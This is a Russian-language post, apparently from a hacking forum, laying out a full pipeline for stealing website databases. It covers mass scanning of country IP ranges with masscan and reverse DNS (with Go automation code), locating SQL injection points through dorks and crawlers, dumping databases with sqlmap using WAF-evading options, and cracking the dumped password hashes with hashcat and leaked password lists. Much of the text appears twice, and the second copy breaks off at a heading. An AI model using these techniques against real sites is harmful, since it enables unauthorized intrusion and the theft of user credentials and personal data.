miserylord
Light Weight
- Депозит
- $0
Автор: miserylord
Эксклюзивно для форума: Разделы
Спойлер: Поиск уязвимых сайтов
В первую очередь, для получения баз данных необходимо найти сайты, на которых могут быть уязвимости, позволяющие получить доступ к этим данным. Речь идет о тысячах, десятках и сотнях тысяч сайтов. На большинстве сайтов, особенно крупных и популярных, не будет «низко висящих плодов», но чем больше сайтов, тем больше шансов. Также необходимо как-то разбивать их по категориям. Какие варианты поиска сайтов можно предложить? Проведем небольшой брейншторм:
Мне пришла еще одна идея, на которой я сосредоточусь в этой статье, а именно — поиск доменов по обратному DNS.
Доменные имена в Интернете созданы исключительно для удобства пользователей. Когда вы вводите доменное имя в адресную строку браузера, происходит серия процессов, один из которых включает использование протокола DNS.
DNS (Domain Name System) — это система, которая переводит доменные имена, например example.com, в IP-адреса, например 192.0.2.1. Сначала браузер попытается получить данные из кэша, и если эта попытка окажется неудачной, он обратится к серверу, который отвечает за преобразование доменных имен — DNS-серверу. Затем произойдёт несколько этапов (они подробно разобраны в этом видео), после которых браузер определит, на какой IP-адрес нужно отправить запрос.
Получается, что DNS — это своего рода каталог данных, в котором записаны все соответствия между IP-адресами и доменными именами. Зачем тогда что-то искать, если можно просто использовать эту систему и проверить весь интернет на уязвимости? Однако это не так. Дело в том, что DNS не является публичной системой. Не существует прямого, известного мне способа отправить запрос вроде «дай мне все доменные имена в зоне .shop для страны NE» и получить их список. Но можно попробовать собрать такой список самостоятельно.
Этот процесс называется reverse DNS lookup, и в его ходе происходит определение доменного имени по IP-адресу. В DNS есть ряд записей разных типов, которые хранят информацию о доменах. Например, A-записи связывают доменные имена с IP-адресами. Среди других записей существует PTR-запись (Pointer Record), которая является противоположностью A-записи. Для выполнения обратного DNS-поиска можно использовать несколько инструментов, таких как dig, nslookup или host. Проще всего воспользоваться host.
Из очевидных проблем, с которыми мы столкнемся, — это сервисы типа Cloudflare. К счастью, их диапазоны известны, и их можно исключить заранее. Также существуют IP-адреса хостингов, на которых на одном IP может размещаться множество сайтов. В таких случаях мы получим только одну PTR-запись, и, вероятно, она будет относиться лишь к одному домену. Попробуем реализовать поиск доменов таким образом, переходим к практической части.
Первым делом необходимо получить список IP-адресов для конкретной страны. Я подробно разбирал механизм этого процесса в статье про брутфорс СУБД. Получим список IP-адресов для страны X.
Далее воспользуемся утилитой masscan для поиска IP-адресов, на которых могут быть запущены сайты. Какой порт проверять? Есть два варианта — либо 80, либо 443. Порт 80 обычно открыт для HTTP, порт 443 — для HTTPS. В рамках статьи я буду проверять порт 443, но можно проверять оба, чтобы найти как можно больше сайтов (более того, сайты без HTTPS будут куда более подвержены уязвимостям).
Первым делом мы выполняем команду sudo masscan 0.0.0.0/1 -p443 --rate=1000 -oL res.txt, запуская сканирование сетки адресов с ограничением скорости в 1000 пакетов в секунду и записывая результат в файл res.txt. Далее с помощью регулярного выражения отсеиваем только IP-адреса, удаляя все лишнее из лога. Код автоматизации masscan также был описан в статье про брутфорс СУБД. Внесем небольшие изменения для проверки порта 443, а также устраним небольшой баг:
C-подобный: Скопировать в буфер обмена
Чтобы избежать перезаписи файла output при проходе по каждой новой сетке, немного изменим код: теперь мы записываем вывод команды masscan через writer (то есть в output.txt), добавляя новые логи при обработке каждой строки файла с IP-адресами, и проверяем порт 443, а не 27017.
Стоит сказать, что лучше всего, если полученные сетки адресов будут заранее отобраны по тому, кому они принадлежат. Исключив, например, сетку интернет-провайдера, мы избавимся от мусорных доменов (таких как с префиксами adsl- и cdma-). Также стоит заранее проверить, не принадлежит ли сетка CDN (Content Delivery Network) или WAF (Web Application Firewall); обычно эта информация публична на их сайтах. Однако можно просто оставить код работать несколько дней и после получить результаты.
Итак, отфильтровав IP-адреса с открытыми 443 портами, приступаем к поиску обратного DNS. Код написан на Golang:
C-подобный: Скопировать в буфер обмена
Получаем результаты сканирования. У меня получилось примерно 1-2 домена на 1000 IP-адресов с нескольких абсолютно случайных сеток. Далее необходимо собрать интересующие ссылки. Придумать какую-либо автоматизацию здесь довольно сложно; первое, что приходит в голову, это отбор по домену. Например, на домене .shop скорее всего будет какой-то магазин, хотя много магазинов будут на других доменах. Также многие записи будут указывать на поддомены (типа mail.site.com, а не site.com). Здесь можно придумать какую-то мощную регулярку, но на данном этапе я просто отберу ссылки вручную. За сутки с помощью такого кода можно найти несколько сотен сайтов нужной страны (а если подключить к нему горутины, то процесс пойдет еще быстрее; подробнее о горутинах можно прочитать в статье про брутфорс почтовых серверов).
Это не самый идеальный способ поиска таргетов, но мне он показался достаточно интересным. Вы можете использовать его либо придумать свой вариант. Из плюсов этого способа — относительная дешевизна, из минусов — нужно довести до ума получение доменов в нужном формате (хотя визуально проверить сайт, его посещаемость и ценность все равно придется вручную).
Спойлер: Точки возникновения
Вероятно, это самый известный тип веб-уязвимости из всех существующих (конкуренцию ей может составить разве что ), и она до сих пор существует в интернете, особенно когда используется метод поиска уязвимостей для проверки максимального количества целей.
Поскольку об этом написано бесконечно много материала, опишу лишь базовую информацию:
SQL (Structured Query Language) — это специальный декларативный язык программирования, который используется для управления реляционными базами данных. "Реляционными" означает, что данные в базе связаны друг с другом. Подобно обычным таблицам в Excel, но каждая таблица связана с другой.
Язык SQL реализуется непосредственно в системе управления базами данных (например, PostgreSQL или MySQL), то есть синтаксис SQL будет немного отличаться в зависимости от СУБД, хотя в функциональном плане он будет практически идентичным.
Углубленных знаний для реализации SQL инъекций не требуется, но общее понимание необходимо. Если вы плохо понимаете, что такое SQL, сначала пройдите какой-нибудь общий курс, например, на codecademy.com/learn/learn-sql (он вроде бы полностью бесплатный и интерактивный).
Инъекции — это внедрение кода, вредоносного или не очень, в систему. Они могут быть не только в SQL-запросах, но, например, в XML, NoSQL (типа MongoDB), JavaScript и в целом где угодно.
С помощью SQL-инъекций можно получить всю базу данных сайта, включая аккаунты, карты, если они хранятся в базе, и другую информацию.
Небольшой экскурс в работу веб-приложения. Существует сервер, на котором написана логика работы сайта. База данных является отдельной сущностью, к которой серверный код обращается во время взаимодействия с приложением. Пользователь нажимает на кнопку → вызывает функцию на сервере → сервер обращается к базе данных → база данных возвращает результат → сервер возвращает результат пользователю → клиентский код отрисовывает результат.
Символ апострофа (или кавычки) буквально ассоциируется с SQL-инъекциями. Классический пример: когда пользователь пишет admin'-- на странице аутентификации и попадает в аккаунт, введя любой пароль, явно демонстрирует это. Однако это не то, что нам интересно; это по сути атака в рамках POST-запроса, и она не позволит получить что-либо из базы данных (либо это будет крайне затруднительно).
Для получения базы данных необходимо обнаружить точки, где база данных запрашивает какую-то информацию. Например, в интернет-магазине на странице отображаются только доступные товары. В адресную строку добавляем '-- и обнаруживаем ошибку (что говорит о наличии SQL-уязвимости). После этого меняем пейлод на '+OR+1=1 и получаем все товары, включая скрытые. Под капотом база данных выполняет операторы SELECT + WHERE, но вместо проверки условия мы подставляем истинное булево состояние (ведь 1 всегда равно 1), тем самым игнорируя дополнительные проверки.
Но куда более полезным будет использование оператора UNION. UNION объединяет запросы в рамках таблиц. Объединение в SQL происходит не горизонтально, а вертикально. То есть если у нас есть две таблицы Excel: в одной 2 столбца, во второй 3 столбца, то объединить их путем добавления пяти столбцов не получится; в итоге объединенная таблица будет содержать только 2 столбца. Следовательно, первым этапом UNION-атаки является определение количества колонок (столбцов) в ответе от СУБД. Для этого используется оператор ORDER BY или UNION SELECT NULL. Также стоит помнить, что мы не можем объединить разные типы данных, например числа со строками, а только однотипные.
Когда мы видим результат запроса в ответе от сайта, это по сути классические SQL-инъекции, но так бывает не всегда. Если сайт не возвращает явного ответа, это не означает, что мы не можем его получить. Мы все еще можем получить базу данных на таком сайте, если обнаружим так называемую слепую инъекцию. Слепые инъекции бывают двух типов: булевы (когда сайт возвращает разные ответы для истинных и ложных состояний) и тайм-бейсис (когда ответ от сайта приходит с разным интервалом времени для истинных и ложных состояний).
Еще один тип — это out-of-band инъекции. Возвращаясь к схеме, здесь она будет немного другой: после нажатия на кнопку и запуска серверной функции база данных возвращает результат, но в этот раз сервер возвращает результат на сторонний (наш) сервер. Если вы работали с Burp Intruder, то понимаете, о чем речь. По сути, Intruder — это просто сервер, его можно реализовать самостоятельно и получать ответы от базы данных.
Также существуют SQL-инъекции второго порядка. Например, в интернет-магазине мы можем добавить товар самостоятельно; вместе с названием мы также добавляем пейлоуд, который изменяет пароль администратора, он сохраняется в базе данных и вызывается уже на другой странице, например, с отображением товара. После этого мы можем попасть в аккаунт администратора.
Точки появления SQL-инъекций — это любое общение между сервером и СУБД! В том числе это могут быть куки (ведь схема общения и проверки куки такая же, как и в примере с кнопкой). Любые точки общения.
Для более детального ознакомления обязательно пройдите курс в Web Security Academy — What is SQL Injection? Tutorial & Examples , а также посмотрите курс Rana Khalil на .
Изучая тему SQL-инъекций, вы могли слышать о так называемых дорках. В целом, дорки — это запросы в поисковую систему, которые, как правило, используют специальные операторы поиска и раскрывают больше информации, чем было запланировано. Например, запрос bookname filetypedf — это дорка, которая позволяет найти PDF-документы с нужной книгой (работает примерно в половине случаев). Или, например, дорка "START test_database" ext:log позволяет найти логи, которые могут содержать полезную информацию, такую как имя пользователя. Дорка filetype:sql "insert into" (pass|passwd|password) находит записи паролей в базе данных (или, скорее, в ханиподах). Дорок существует очень много, и примеры можно найти в Google Hacking Database (GHDB) - Google Dorks.
Но что собой представляют дорки для SQL-инъекций? Дорки для SQL-инъекций — это запросы, в которых происходит взаимодействие с базой данных, а значит, существует потенциал для выявления уязвимостей.
Например, возьмём что-то из списка SQL-injection-dorks-list/google dorks for sql injection.txt at GitHub. Допустим, это дорка products/product.php?pid=. Поисковый запрос будет inurl:"products/product.php?pid=", можно также добавить ключевые слова, например, shop, и мы получим готовые ссылки, с которой можно работать.
По этой логике можно легко составить свои дорки.
Кстати, дорки могут использоваться не только в Google, но и в Shodan или даже в Wayback Machine.
Веб-краулеры — это программы, которые обходят весь сайт, "нажимая каждую кнопку", тем самым составляя полную карту сайта. Если в дорках мы сразу находили эндпоинты, чья логика обращается к базе данных, то теперь мы пойдем другим путем: мы исследуем весь сайт в поисках этих эндпоинтов. В этом нам поможет Katana.
Katana — это CLI веб-краулер, написанный на Go. Официальный репозиторий доступен на GitHub. Программу можно установить с помощью команды:
go install github.com/projectdiscovery/katana/cmd/katana@latest
Флаги для Katana рекомендую подбирать самостоятельно. Вот пример моего варианта: katana -u https://domen.com/ -silent -kf all -d 3 -jsl -jc -o urls.txt
Реализуем скрипт на Go аналогично предыдущим (по какой-то причине Katana не захотела работать с файлом ссылок). Поскольку программа отдает лог по частям, изменим логику. Вместо использования метода CombinedOutput, который ждет завершения команды и возвращает весь вывод целиком, будем использовать StdoutPipe() для того, чтобы читать данные по мере их поступления.
C-подобный: Скопировать в буфер обмена
Получив достаточно много ссылок отберем те, которые явно указывают на наличие уязвимостей.
Спойлер: Поиск уязвимостей
SQLmap — это утилита для автоматизации эксплуатации SQL-инъекций. Она умеет делать дампы баз данных, и если все проходит успешно, процесс довольно простой. По сути, читаем лог, отвечаем на вопросы, находим уязвимость, получаем базы данных, затем таблицы, затем записи, затем дамп. Попробовать можно на тестовой базе данных http://testphp.vulnweb.com/.
План следующий: передаем ссылку в SQLmap (ссылку, где либо есть уязвимость, либо где она потенциально может быть) и пытаемся получить базу данных. Да, но нет. За несколько часов я проверил около пятидесяти целей (которые не казались особенно защищенными) и нашел лишь одну error-based SQL уязвимость. Далее по плану было получение баз данных (с помощью length и сравнения с номерами ASCII символов), затем таблиц, но на этом этапе в игру вступил WAF и разрушил все планы. WAF блокировал любые SELECT, sub-SELECT, UNION, кавычки, получение схемы таблиц — все это на уровне вызова функций, а не на уровне синтаксиса. Как бы я ни пытался, достать список таблиц не удалось. Можно сказать, что это не самый эффективный способ поиска баз данных. За это же время я легко нашел несколько баз данных, используя дорки, и написал несколько своих дорок по принципу существующих. Но все же это валидный способ.
Для ускорения работы SQLmap рекомендую, по возможности, заранее узнать СУБД на сайте (например, через Shodan или по открытому порту с помощью nmap, или проверить вручную, если вы уже видите уязвимость). Обязательно используйте флаг --random-agent, потому что по умолчанию SQLmap использует свой пользовательский агент. Если хотите, чтобы SQLmap отвечал на вопросы автоматически, используйте флаг --batch (что, впрочем, не всегда самая оптимальная стратегия, но можно кастомизировать ответы). Используйте прокси или Tor, потоки, флаги level и risk, а также тамперы, чтобы обойти WAF. Также SQLmap может установить sqlshell и даже osshell. Команда для автоматической работы: sqlmap -m potential_sqli_urls.txt --batch --risk 3 --level 5
Параллельно работе с SQLmap, я обнаружил куда более быстрый способ собрать потенциальные точки уязвимостей, используя Wayback Machine. Команда:
waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '.php|.asp' | sort -u | sed 's/(=[^&]*)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt
(намного быстрее Katana).
Скажу несколько слов про CVE. Многие из них будут на CMS no_name с 10 звездами на GitHub. Однако, изучив ее механизм, можно составить заметку и поискать на аналогичных CMS. До сих пор встречаются уязвимости вроде --' на продуктах с пользователями внутри систем. Для проверки наличия целей под CVE необходимо составить дорку для Google/Shodan и проверить так, как описано в CVE. Найти что-то уникальное будет сложно, но думаю, многие так считают, а на самом деле что-то найти можно.
Еще один вариант нахождения уязвимости SQL-инъекции — это проверка с помощью автоматического сканирования. Для примера можно взять Acunetix, загрузить в него ссылки для поиска SQL-инъекций, а после нахождения уязвимостей перейти к sqlmap. Изначально этот вариант казался мне интересным, но он показал себя слабо: пропускал SQLi там, где они точно были, и практически не находил новые. Я бы рекомендовал запускать полное сканирование и анализировать все уязвимости сайта, так интереснее.
Подводя итоги, хочу сказать, что самым интересным, на мой взгляд, является поиск через дорки с последующим использованием sqlmap. Поиск через проверку потенциальных ссылок тоже является хорошим вариантом, но получение результата может занять много времени.
Спойлер: Полученная база данных
В большинстве случаев после получения базы данных определённые поля в ней (обычно пароли и другая чувствительная информация) будут не в виде чистого текста, а в виде белеберды, называемой хешем.
Кодировка и хеширование — это не одно и то же. И то, и другое является процессом преобразования данных по определённому алгоритму. Разница в том, что всё, что закодировано, может быть раскодировано, а всё, что захешировано, не может быть расхешировано. Хеш-функция по определению является однонаправленной.
Процесс устроен следующим образом: при регистрации пользователя сервер генерирует значение хеш-функции на основе его пароля и сохраняет его в базу данных. Каждый раз, когда пользователь входит в систему, сервер вновь генерирует хеш-функцию и сверяет её с той, что хранится в базе данных. То есть проверяются не сами пароли, а их хеш-значения.
Существуют множество различных хеш-алгоритмов. Главное требование к ним — отсутствие коллизий: один вход должен давать один выход. Также их особенностью является правило: любой размер на входе — всегда одинаковый размер на выходе. Поскольку люди часто используют одинаковые пароли, можно создать множество потенциальных разумных вариантов паролей и пропустить их через хеш-функцию, получив все возможные комбинации. Затем хеш-пароли базы данных сравниваются с полученными результатами, что позволяет "пропустить" процесс назад (поскольку исходные данные нам известны). Это называется атака по таблицам радужных цепей (rainbow tables).
Но что если во время генерации хеша сервер будет добавлять дополнительное значение X к каждой записи? То есть password будет превращаться в xpassword. В таком случае значения хешей полностью изменятся, и подобрать их за разумное время станет практически невозможно, ведь вариантов X уже бесконечное множество (X может быть чем угодно, любой длины). Это называется соль.
Хеш: 19b955d6fdb85b4dc95a8f2d3ab6eff0
Первым делом необходимо определить тип хеша. Для этого можно использовать утилиту hash-identifier, либо ChatGPT также отлично справляется с этой задачей. В данном случае это MD5.
Далее — дехеширование. Существуют онлайн-сервисы, например, hashes.com. Один запрос — и мы сняли хеш, узнав пароль.
Но что делать, если у нас большое количество хешей? Как организовать атаку с использованием радужных таблиц?
Для атаки понадобится словарь. Его можно собрать из ранее утекших в сеть паролей. Заходим в Telegram и находим несколько каналов с базами данных. Подойдут также логи, пароли из репозиториев на GitHub — в целом, любые реальные пароли людей.
Переходим к коду:
C-подобный: Скопировать в буфер обмена
База паролей готова. Можно реализовать атаку самостоятельно, но можно воспользоваться готовыми инструментами, например, hashcat. Команда будет следующей: hashcat -m 0 -a 0 "19b955d6fdb85b4dc95a8f2d3ab6eff0" res.txt
Также для этой задачи подойдет John the Ripper.
Следующий хеш - 2a10$JCXAlrowI4neyj/lOXrb2ORp1hcpOAUR9GzHXyUkWDs3KHl0zMIOC
Определяем хеш (для этого воспользуемся ChatGPT) + CyberChef, убедившись, что это bcrypt. В таком случае атака будет затруднена. Bcrypt может быть реализован с использованием случайной соли, которую будет сложно угадать с помощью словаря. В таком случае мы не сможем получить пароли в чистом виде. Соль можно попытаться найти в исходном коде сайта или поискать дополнительные уязвимости, которые раскроют эту информацию. Может случиться так, что вы получите дамп базы данных, но хеши будут хорошо защищены от атак.
Подводя итог: SQL-инъекции всё ещё существуют, и при должном масштабировании могут быть успешно эксплуатируемы, хотя на пути встретится немало защитных механизмов.
Весь исходный код прикреплён к сообщению. Трям! Пока!
Эксклюзивно для форума: Разделы
- Поиск уязвимых сайтов — варианты поиска, парсинг с использованием DNS, автоматизация.
- Точки возникновения — типы SQL-инъекций, дорки, краулер, автоматизация атаки.
- Поиск уязвимости — сканеры, SQLmap.
- Полученная базы данных — снятие хешей/солей.
Спойлер: Поиск уязвимых сайтов
Как найти веб-сайты?
В первую очередь, для получения баз данных необходимо найти сайты, на которых могут быть уязвимости, позволяющие получить доступ к этим данным. Речь идет о тысячах, десятках и сотнях тысяч сайтов. На большинстве сайтов, особенно крупных и популярных, не будет «низко висящих плодов», но чем больше сайтов, тем больше шансов. Также необходимо как-то разбивать их по категориям. Какие варианты поиска сайтов можно предложить? Проведем небольшой брейншторм:
- Google и другие поисковые системы — достаточно хороший вариант. Автоматизация поиска может быть затруднена CAPTCHA и блокировками IP. Можно использовать готовые решения, например, парсеры типа A-Parser.
- Shodan и аналоги — тоже хороший вариант. Можно сразу отсеивать по технологиям или искать уязвимые системы (скорее всего, уже найденные кем-то ранее).
- Semrush и аналоги — позволяют хорошо отсортировать варианты по категориям, а также автоматизировать поиск через API.
- Различные каталоги — до появления поисковых систем интернет состоял из каталогов. Они до сих пор существуют.
- Парсинг соцсетей — например, для поиска криптовалютных сайтов можно пробовать парсить чаты и каналы в Telegram, рекурсивно переходя по ссылкам на другие каналы и собирая все внешние ссылки.
Мне пришла еще одна идея, на которой я сосредоточусь в этой статье, а именно — поиск доменов по обратному DNS.
DNS
Доменные имена в Интернете созданы исключительно для удобства пользователей. Когда вы вводите доменное имя в адресную строку браузера, происходит серия процессов, один из которых включает использование протокола DNS.
DNS (Domain Name System) — это система, которая переводит доменные имена, например example.com, в IP-адреса, например 192.0.2.1. Сначала браузер попытается получить данные из кэша, и если эта попытка окажется неудачной, он обратится к серверу, который отвечает за преобразование доменных имен — DNS-серверу. Затем произойдёт несколько этапов (они подробно разобраны в этом видео), после которых браузер определит, на какой IP-адрес нужно отправить запрос.
Получается, что DNS — это своего рода каталог данных, в котором записаны все соответствия между IP-адресами и доменными именами. Зачем тогда что-то искать, если можно просто использовать эту систему и проверить весь интернет на уязвимости? Однако это не так. Дело в том, что DNS не является публичной системой. Не существует прямого, известного мне способа отправить запрос вроде «дай мне все доменные имена в зоне .shop для страны NE» и получить их список. Но можно попробовать собрать такой список самостоятельно.
Этот процесс называется reverse DNS lookup, и в его ходе происходит определение доменного имени по IP-адресу. В DNS есть ряд записей разных типов, которые хранят информацию о доменах. Например, A-записи связывают доменные имена с IP-адресами. Среди других записей существует PTR-запись (Pointer Record), которая является противоположностью A-записи. Для выполнения обратного DNS-поиска можно использовать несколько инструментов, таких как dig, nslookup или host. Проще всего воспользоваться host.
Из очевидных проблем, с которыми мы столкнемся, — это сервисы типа Cloudflare. К счастью, их диапазоны известны, и их можно исключить заранее. Также существуют IP-адреса хостингов, на которых на одном IP может размещаться множество сайтов. В таких случаях мы получим только одну PTR-запись, и, вероятно, она будет относиться лишь к одному домену. Попробуем реализовать поиск доменов таким образом, переходим к практической части.
Reverse DNS на практике
Первым делом необходимо получить список IP-адресов для конкретной страны. Я подробно разбирал механизм этого процесса в статье про брутфорс СУБД. Получим список IP-адресов для страны X.
Далее воспользуемся утилитой masscan для поиска IP-адресов, на которых могут быть запущены сайты. Какой порт проверять? Есть два варианта — либо 80, либо 443. Порт 80 обычно открыт для HTTP, порт 443 — для HTTPS. В рамках статьи я буду проверять порт 443, но можно проверять оба, чтобы найти как можно больше сайтов (более того, сайты без HTTPS будут куда более подвержены уязвимостям).
Первым делом мы выполняем команду sudo masscan 0.0.0.0/1 -p443 --rate=1000 -oL res.txt, запуская сканирование сетки адресов с ограничением скорости в 1000 пакетов в секунду и записывая результат в файл res.txt. Далее с помощью регулярного выражения отсеиваем только IP-адреса, удаляя все лишнее из лога. Код автоматизации masscan также был описан в статье про брутфорс СУБД. Внесем небольшие изменения для проверки порта 443, а также устраним небольшой баг:
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
)
func main() {
file, err := os.Open("NA_ip_ranges.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()
outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Ошибка при открытии файла для вывода:", err)
return
}
defer outputFile.Close()
writer := bufio.NewWriter(outputFile)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ipRange := scanner.Text()
cmd := exec.Command("masscan", "-p443", ipRange, "--rate", "1000", "-oG", "-")
cmd.Stdout = writer
cmd.Stderr = writer
if err := cmd.Run(); err != nil {
fmt.Printf("Ошибка при выполнении команды для диапазона %s: %v\n", ipRange, err)
} else {
fmt.Printf("Команда успешно выполнена для диапазона %s\n", ipRange)
}
writer.Flush()
}
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла:", err)
return
}
grepCmd := exec.Command("grep", "-oP", "\\b\\d{1,3}(\\.\\d{1,3}){3}\\b", "output.txt")
ipOnlyFile, err := os.Create("ip_only.txt")
if err != nil {
fmt.Println("Ошибка при создании файла для IP-адресов:", err)
return
}
defer ipOnlyFile.Close()
grepCmd.Stdout = ipOnlyFile
grepCmd.Stderr = os.Stderr
if err := grepCmd.Run(); err != nil {
fmt.Printf("Ошибка при выполнении команды grep: %v\n", err)
} else {
fmt.Println("Команда grep успешно выполнена, IP-адреса сохранены в ip_only.txt")
}
}
Чтобы избежать перезаписи файла output при проходе по каждой новой сетке, немного изменим код: теперь мы записываем вывод команды masscan через writer (то есть в output.txt), добавляя новые логи при обработке каждой строки файла с IP-адресами, и проверяем порт 443, а не 27017.
Стоит сказать, что лучше всего, если полученные сетки адресов будут заранее отобраны по тому, кому они принадлежат. Исключив, например, сетку интернет-провайдера, мы избавимся от мусорных доменов (таких как с префиксами adsl- и cdma-). Также стоит заранее проверить, не принадлежит ли сетка CDN (Content Delivery Network) или WAF (Web Application Firewall); обычно эта информация публична на их сайтах. Однако можно просто оставить код работать несколько дней и после получить результаты.
Итак, отфильтровав IP-адреса с открытыми 443 портами, приступаем к поиску обратного DNS. Код написан на Golang:
C-подобный: Скопировать в буфер обмена
Code:
func main() {
// 1
ipOnlyFileToRead, err := os.Open("ip_only.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла ip_only.txt:", err)
return
}
defer ipOnlyFileToRead.Close()
// 2
hostLogFile, err := os.OpenFile("hostlog.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Ошибка при открытии файла для логов:", err)
return
}
defer hostLogFile.Close()
// 3
hostLogWriter := bufio.NewWriter(hostLogFile)
// 4
ipScanner := bufio.NewScanner(ipOnlyFileToRead)
for ipScanner.Scan() {
ip := ipScanner.Text()
// 5
hostCmd := exec.Command("host", ip)
// 6
output, err := hostCmd.CombinedOutput()
if err != nil {
fmt.Printf("Ошибка при выполнении команды host для IP %s: %v\n", ip, err)
continue
}
// 7
_, err = hostLogWriter.WriteString(fmt.Sprintf("Результат для IP %s:\n%s\n", ip, string(output)))
if err != nil {
fmt.Println("Ошибка при записи в файл hostlog.txt:", err)
return
}
// 8
hostLogWriter.Flush()
}
if err := ipScanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла ip_only.txt:", err)
}
}
- Берем IP-адреса из файла ip_only.txt.
- Открываем файл hostlog.txt для записи в режиме добавления; если файла не существует, он будет создан (то же, что и с масссканом).
- Создаем NewWriter для записи данных буфера в файл.
- Проходим по каждой строке файла с IP-адресами, используя сканнер.
- Выполняем команду host для текущего IP-адреса.
- Получаем вывод команды host.
- Записываем результат команды host в файл hostlog.txt. В файл будут записаны только успешные результаты; если домен найти не удалось, об этом будет выведена информация в логе.
- Сбрасываем буфер для записи.
Получаем результаты сканирования. У меня получилось примерно 1-2 домена на 1000 IP-адресов с нескольких абсолютно случайных сеток. Далее необходимо собрать интересующие ссылки. Придумать какую-либо автоматизацию здесь довольно сложно; первое, что приходит в голову, это отбор по домену. Например, на домене .shop скорее всего будет какой-то магазин, хотя много магазинов будут на других доменах. Также многие записи будут указывать на поддомены (типа mail.site.com, а не site.com). Здесь можно придумать какую-то мощную регулярку, но на данном этапе я просто отберу ссылки вручную. За сутки с помощью такого кода можно найти несколько сотен сайтов нужной страны (а если подключить к нему горутины, то процесс пойдет еще быстрее; подробнее о горутинах можно прочитать в статье про брутфорс почтовых серверов).
Это не самый идеальный способ поиска таргетов, но мне он показался достаточно интересным. Вы можете использовать его либо придумать свой вариант. Из плюсов этого способа — относительная дешевизна, из минусов — нужно довести до ума получение доменов в нужном формате (хотя визуально проверить сайт, его посещаемость и ценность все равно придется вручную).
Спойлер: Точки возникновения
Что такое SQL инъекции?
Вероятно, это самый известный тип веб-уязвимости из всех существующих (конкуренцию ей может составить разве что ), и она до сих пор существует в интернете, особенно когда используется метод поиска уязвимостей для проверки максимального количества целей.
Поскольку об этом написано бесконечно много материала, опишу лишь базовую информацию:
SQL (Structured Query Language) — это специальный декларативный язык программирования, который используется для управления реляционными базами данных. "Реляционными" означает, что данные в базе связаны друг с другом. Подобно обычным таблицам в Excel, но каждая таблица связана с другой.
Язык SQL реализуется непосредственно в системе управления базами данных (например, PostgreSQL или MySQL), то есть синтаксис SQL будет немного отличаться в зависимости от СУБД, хотя в функциональном плане он будет практически идентичным.
Углубленных знаний для реализации SQL инъекций не требуется, но общее понимание необходимо. Если вы плохо понимаете, что такое SQL, сначала пройдите какой-нибудь общий курс, например, на codecademy.com/learn/learn-sql (он вроде бы полностью бесплатный и интерактивный).
Инъекции — это внедрение кода, вредоносного или не очень, в систему. Они могут быть не только в SQL-запросах, но, например, в XML, NoSQL (типа MongoDB), JavaScript и в целом где угодно.
С помощью SQL-инъекций можно получить всю базу данных сайта, включая аккаунты, карты, если они хранятся в базе, и другую информацию.
Небольшой экскурс в работу веб-приложения. Существует сервер, на котором написана логика работы сайта. База данных является отдельной сущностью, к которой серверный код обращается во время взаимодействия с приложением. Пользователь нажимает на кнопку → вызывает функцию на сервере → сервер обращается к базе данных → база данных возвращает результат → сервер возвращает результат пользователю → клиентский код отрисовывает результат.
Символ апострофа (или кавычки) буквально ассоциируется с SQL-инъекциями. Классический пример: когда пользователь пишет admin'-- на странице аутентификации и попадает в аккаунт, введя любой пароль, явно демонстрирует это. Однако это не то, что нам интересно; это по сути атака в рамках POST-запроса, и она не позволит получить что-либо из базы данных (либо это будет крайне затруднительно).
Для получения базы данных необходимо обнаружить точки, где база данных запрашивает какую-то информацию. Например, в интернет-магазине на странице отображаются только доступные товары. В адресную строку добавляем '-- и обнаруживаем ошибку (что говорит о наличии SQL-уязвимости). После этого меняем пейлод на '+OR+1=1 и получаем все товары, включая скрытые. Под капотом база данных выполняет операторы SELECT + WHERE, но вместо проверки условия мы подставляем истинное булево состояние (ведь 1 всегда равно 1), тем самым игнорируя дополнительные проверки.
Но куда более полезным будет использование оператора UNION. UNION объединяет запросы в рамках таблиц. Объединение в SQL происходит не горизонтально, а вертикально. То есть если у нас есть две таблицы Excel: в одной 2 столбца, во второй 3 столбца, то объединить их путем добавления пяти столбцов не получится; в итоге объединенная таблица будет содержать только 2 столбца. Следовательно, первым этапом UNION-атаки является определение количества колонок (столбцов) в ответе от СУБД. Для этого используется оператор ORDER BY или UNION SELECT NULL. Также стоит помнить, что мы не можем объединить разные типы данных, например числа со строками, а только однотипные.
Когда мы видим результат запроса в ответе от сайта, это по сути классические SQL-инъекции, но так бывает не всегда. Если сайт не возвращает явного ответа, это не означает, что мы не можем его получить. Мы все еще можем получить базу данных на таком сайте, если обнаружим так называемую слепую инъекцию. Слепые инъекции бывают двух типов: булевы (когда сайт возвращает разные ответы для истинных и ложных состояний) и тайм-бейсис (когда ответ от сайта приходит с разным интервалом времени для истинных и ложных состояний).
Еще один тип — это out-of-band инъекции. Возвращаясь к схеме, здесь она будет немного другой: после нажатия на кнопку и запуска серверной функции база данных возвращает результат, но в этот раз сервер возвращает результат на сторонний (наш) сервер. Если вы работали с Burp Intruder, то понимаете, о чем речь. По сути, Intruder — это просто сервер, его можно реализовать самостоятельно и получать ответы от базы данных.
Также существуют SQL-инъекции второго порядка. Например, в интернет-магазине мы можем добавить товар самостоятельно; вместе с названием мы также добавляем пейлоуд, который изменяет пароль администратора, он сохраняется в базе данных и вызывается уже на другой странице, например, с отображением товара. После этого мы можем попасть в аккаунт администратора.
Точки появления SQL-инъекций — это любое общение между сервером и СУБД! В том числе это могут быть куки (ведь схема общения и проверки куки такая же, как и в примере с кнопкой). Любые точки общения.
Для более детального ознакомления обязательно пройдите курс в Web Security Academy — What is SQL Injection? Tutorial & Examples , а также посмотрите курс Rana Khalil на .
Дорки
